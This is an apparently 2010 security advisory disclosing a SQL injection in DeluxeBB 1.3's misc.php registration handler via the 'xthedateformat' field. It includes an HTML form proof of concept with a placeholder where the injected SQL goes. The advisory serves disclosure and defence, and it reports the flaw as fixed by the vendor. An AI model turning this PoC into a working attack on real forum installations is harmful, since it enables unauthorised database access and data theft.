SQL injection in DeluxeBB Oct 19 2010 09:20PM
advisory htbridge ch
Vulnerability ID: HTB22641
Reference: http://www.htbridge.ch/advisory/sql_injection_in_deluxebb.html
Product: DeluxeBB
Vendor: DeluxeBB ( http://www.deluxebb.com/ )
Vulnerable Version: 1.3 and Probably Prior Versions
Vendor Notification: 05 October 2010
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "misc.php" script to properly sanitize user-supplied input in "xthedateformat" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://deluxebb/misc.php?sub=register" method="post" name="main" >
<input type="hidden" name="name" value="pentester" />
<input type="hidden" name="pass" value="pentester" />
<input type="hidden" name="pass2" value="pentester" />
<input type="hidden" name="email" value="pentester (at) htbridge (dot) ch [email concealed]" />
<input type="hidden" name="hideemail" value="0" />
<input type="hidden" name="languagex" value="default" />
<input type="hidden" name="xthetimeoffset" value="0" />
<input type="hidden" name="xthetimeformat" value="24" />
<input type="hidden" name="xthedateformat" value="'SQL_CODE_HERE" />
<input type="hidden" value="" name="redirect" />
<input type="submit" value="Register" name="submit" />
</form>

Solution: Upgrade to the most recent version

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus